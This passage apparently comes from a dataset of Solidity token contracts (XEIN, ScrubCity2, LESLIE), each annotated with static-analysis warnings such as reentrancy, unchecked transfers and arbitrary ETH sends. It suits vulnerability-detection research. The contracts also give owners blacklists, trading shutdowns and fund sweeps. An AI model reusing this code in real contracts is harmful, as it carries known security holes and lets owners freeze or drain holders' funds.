ID: a126621\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2e43f56): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2e43f56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5459d71): XEIN.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5459d71: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8458771): XEIN.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8458771: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1f5c03e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1f5c03e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2e43f56\n\t\t// reentrancy-eth | ID: 1f5c03e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2e43f56\n\t\t// unused-return | ID: 5459d71\n\t\t// reentrancy-eth | ID: 1f5c03e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2e43f56\n\t\t// unused-return | ID: 8458771\n\t\t// reentrancy-eth | ID: 1f5c03e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2e43f56\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1f5c03e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 75ae1c9): XEIN.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 75ae1c9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 75ae1c9\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10186.sol",
"size_bytes": 20801,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _owner = address(0);\n }\n}\n\nlibrary SafeERC20 {\n function safeTransfer(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.transfer.selector, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper: INTERNAL TRANSFER_FAILED\"\n );\n }\n}\n\n// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n\t// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address recipient, uint256 amount) external;\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract ScrubCity2 is Ownable {\n string private constant _name = unicode\"ScrubCity2\";\n\n string private constant _symbol = unicode\"SCRUB2\";\n\n uint256 private constant _totalSupply = 1_000_000_000 * 1e18;\n\n uint256 public maxTransactionAmount = 100_000 * 1e18;\n\n uint256 public maxWallet = 2_000_000 * 1e18;\n\n uint256 public SwapTokensAtAmount = (_totalSupply * 2) / 10000;\n\n address private treasuryWallet = 0x42783eaEdfAF4Ad90F108685c3AdB5823cfc9e77;\n\n address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n uint8 public buyTotalFees = 50;\n\n uint8 public sellTotalFees = 50;\n\n uint8 public treasuryFee = 100;\n\n bool private swapping;\n\n bool public limitsInEffect = true;\n\n bool private launched;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n mapping(address => bool) public isBlackListed;\n\n event SwapAndLiquify(uint256 tokensSwapped, uint256 TreasuryETH);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event AddressBlackListed(address indexed account, bool isBlackListed);\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public immutable uniswapV2Pair;\n\n constructor() {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n automatedMarketMakerPairs[uniswapV2Pair] = true;\n\n setExcludedFromFees(owner(), true);\n\n setExcludedFromFees(address(this), true);\n\n setExcludedFromFees(address(0xdead), true);\n\n setExcludedFromFees(treasuryWallet, true);\n\n setExcludedFromMaxTransaction(owner(), true);\n\n setExcludedFromMaxTransaction(address(this), true);\n\n setExcludedFromMaxTransaction(address(uniswapV2Router), true);\n\n setExcludedFromMaxTransaction(address(0xdead), true);\n\n setExcludedFromMaxTransaction(address(uniswapV2Pair), true);\n\n setExcludedFromMaxTransaction(treasuryWallet, true);\n\n _balances[address(this)] = (_totalSupply * 25) / 100;\n\n _balances[address(treasuryWallet)] = (_totalSupply * 75) / 100;\n\n emit Transfer(address(0), address(this), _balances[address(this)]);\n\n emit Transfer(\n address(0),\n address(treasuryWallet),\n _balances[address(treasuryWallet)]\n );\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() public pure returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 43fcc1e): ScrubCity2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 43fcc1e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 75430c0): ScrubCity2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 75430c0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n uint256 currentAllowance = _allowances[sender][msg.sender];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n }\n\n _transfer(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 21e4d3b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 21e4d3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a7c7eab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a7c7eab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n !launched &&\n (from != owner() && from != address(this) && to != owner())\n ) {\n revert(\"Trading not enabled\");\n }\n\n if (isBlackListed[from] || isBlackListed[to]) {\n revert(\"Address is blacklisted\");\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTx\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTx\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n bool canSwap = balanceOf(address(this)) >= SwapTokensAtAmount;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 21e4d3b\n\t\t\t// reentrancy-eth | ID: a7c7eab\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: a7c7eab\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 senderBalance = _balances[from];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n fees = (amount * sellTotalFees) / 1000;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n fees = (amount * buyTotalFees) / 1000;\n }\n\n if (fees > 0) {\n unchecked {\n amount = amount - fees;\n\n\t\t\t\t\t// reentrancy-eth | ID: a7c7eab\n _balances[from] -= fees;\n\n\t\t\t\t\t// reentrancy-eth | ID: a7c7eab\n _balances[address(this)] += fees;\n }\n\n\t\t\t\t// reentrancy-events | ID: 21e4d3b\n emit Transfer(from, address(this), fees);\n }\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: a7c7eab\n _balances[from] -= amount;\n\n\t\t\t// reentrancy-eth | ID: a7c7eab\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 21e4d3b\n emit Transfer(from, to, amount);\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n }\n\n function setDistributionFees(uint8 _TreasuryFee) external onlyOwner {\n treasuryFee = _TreasuryFee;\n\n require((treasuryFee) == 100, \"Distribution have to be equal to 100%\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a6b5855): ScrubCity2.setFees(uint8,uint8) should emit an event for buyTotalFees = _buyTotalFees sellTotalFees = _sellTotalFees \n\t// Recommendation for a6b5855: Emit an event for critical parameter changes.\n function setFees(\n uint8 _buyTotalFees,\n uint8 _sellTotalFees\n ) external onlyOwner {\n require(\n _buyTotalFees <= 50,\n \"Buy fees must be less than or equal to 5%\"\n );\n\n require(\n _sellTotalFees <= 50,\n \"Sell fees must be less than or equal to 5%\"\n );\n\n\t\t// events-maths | ID: a6b5855\n buyTotalFees = _buyTotalFees;\n\n\t\t// events-maths | ID: a6b5855\n sellTotalFees = _sellTotalFees;\n }\n\n function setExcludedFromFees(\n address account,\n bool excluded\n ) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n }\n\n function setExcludedFromMaxTransaction(\n address account,\n bool excluded\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[account] = excluded;\n }\n\n function openTrade() external onlyOwner {\n require(!launched, \"Already launched\");\n\n launched = true;\n }\n\n function closeTrade() external onlyOwner {\n require(launched, \"Already closed\");\n\n launched = false;\n }\n\n function BlackListAddress(\n address account,\n bool blacklist\n ) external onlyOwner {\n require(account != address(0), \"Cannot blacklist zero address\");\n\n require(account != owner(), \"Cannot blacklist owner\");\n\n isBlackListed[account] = blacklist;\n\n emit AddressBlackListed(account, blacklist);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fb24ae7): ScrubCity2.addLiquidity() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),_balances[address(this)],0,0,treasuryWallet,block.timestamp)\n\t// Recommendation for fb24ae7: Ensure that all the return values of the function calls are used.\n function addLiquidity() external payable onlyOwner {\n require(!launched, \"Already launched\");\n\n\t\t// unused-return | ID: fb24ae7\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n _balances[address(this)],\n 0,\n 0,\n treasuryWallet,\n block.timestamp\n );\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(pair != uniswapV2Pair, \"The pair cannot be removed\");\n\n automatedMarketMakerPairs[pair] = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 08036f7): ScrubCity2.setSwapAtAmount(uint256) should emit an event for SwapTokensAtAmount = newSwapAmount \n\t// Recommendation for 08036f7: Emit an event for critical parameter changes.\n function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {\n require(\n newSwapAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% of the supply\"\n );\n\n require(\n newSwapAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% of the supply\"\n );\n\n\t\t// events-maths | ID: 08036f7\n SwapTokensAtAmount = newSwapAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ae770b7): ScrubCity2.setMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newMaxTx * (10 ** 18) \n\t// Recommendation for ae770b7: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {\n require(\n newMaxTx >= ((totalSupply() * 1) / 10000) / 1e18,\n \"Cannot set max transaction lower than 0.01%\"\n );\n\n\t\t// events-maths | ID: ae770b7\n maxTransactionAmount = newMaxTx * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 22ca695): ScrubCity2.setMaxWalletAmount(uint256) should emit an event for maxWallet = newMaxWallet * (10 ** 18) \n\t// Recommendation for 22ca695: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {\n require(\n newMaxWallet >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max wallet lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 22ca695\n maxWallet = newMaxWallet * (10 ** 18);\n }\n\n function updateTreasuryWallet(address newAddress) external onlyOwner {\n require(newAddress != address(0), \"Address cannot be zero\");\n\n treasuryWallet = newAddress;\n }\n\n function excludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function withdrawStuckToken(address token, address to) external onlyOwner {\n uint256 _contractBalance = IERC20(token).balanceOf(address(this));\n\n SafeERC20.safeTransfer(token, to, _contractBalance);\n }\n\n function withdrawStuckETH(address addr) external onlyOwner {\n require(addr != address(0), \"Invalid address\");\n\n (bool success, ) = addr.call{value: address(this).balance}(\"\");\n\n require(success, \"Withdrawal failed\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bcd8f39): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bcd8f39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b732ba0): ScrubCity2.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(treasuryWallet).call{value ethForTreasury}()\n\t// Recommendation for b732ba0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapBack() private {\n uint256 swapThreshold = SwapTokensAtAmount;\n\n bool success;\n\n if (balanceOf(address(this)) > SwapTokensAtAmount * 20) {\n swapThreshold = SwapTokensAtAmount * 20;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: bcd8f39\n\t\t// reentrancy-events | ID: 21e4d3b\n\t\t// reentrancy-eth | ID: a7c7eab\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n swapThreshold,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n uint256 ethForTreasury = ethBalance;\n\n\t\t\t// reentrancy-events | ID: bcd8f39\n\t\t\t// reentrancy-events | ID: 21e4d3b\n\t\t\t// reentrancy-eth | ID: a7c7eab\n\t\t\t// arbitrary-send-eth | ID: b732ba0\n (success, ) = address(treasuryWallet).call{value: ethForTreasury}(\n \"\"\n );\n\n\t\t\t// reentrancy-events | ID: bcd8f39\n emit SwapAndLiquify(swapThreshold, ethForTreasury);\n }\n }\n}\n",
"file_name": "solidity_code_10187.sol",
"size_bytes": 19681,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LESLIE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f2b629f): LESLIE.bots is never initialized. It is used in LESLIE._transfer(address,address,uint256)\n\t// Recommendation for f2b629f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0a32173): LESLIE._taxWallet should be immutable \n\t// Recommendation for 0a32173: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27ade25): LESLIE._initialBuyTax should be constant \n\t// Recommendation for 27ade25: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 277dd40): LESLIE._initialSellTax should be constant \n\t// Recommendation for 277dd40: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc6b898): LESLIE._reduceBuyTaxAt should be constant \n\t// Recommendation for fc6b898: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2c1cd7): LESLIE._reduceSellTaxAt should be constant \n\t// Recommendation for f2c1cd7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 31cfc98): LESLIE._preventSwapBefore should be constant \n\t// Recommendation for 31cfc98: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ethereum Mascot\";\n\n string private constant _symbol = unicode\"$LESLIE\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09e8264): LESLIE._taxSwapThreshold should be constant \n\t// Recommendation for 09e8264: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd9f908): LESLIE._maxTaxSwap should be constant \n\t// Recommendation for cd9f908: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d9edf94): LESLIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d9edf94: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 497a62e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 497a62e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a87906c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a87906c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 497a62e\n\t\t// reentrancy-benign | ID: a87906c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 497a62e\n\t\t// reentrancy-benign | ID: a87906c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: df1b0f8): LESLIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for df1b0f8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a87906c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 497a62e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 28b7dd0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 28b7dd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f2b629f): LESLIE.bots is never initialized. It is used in 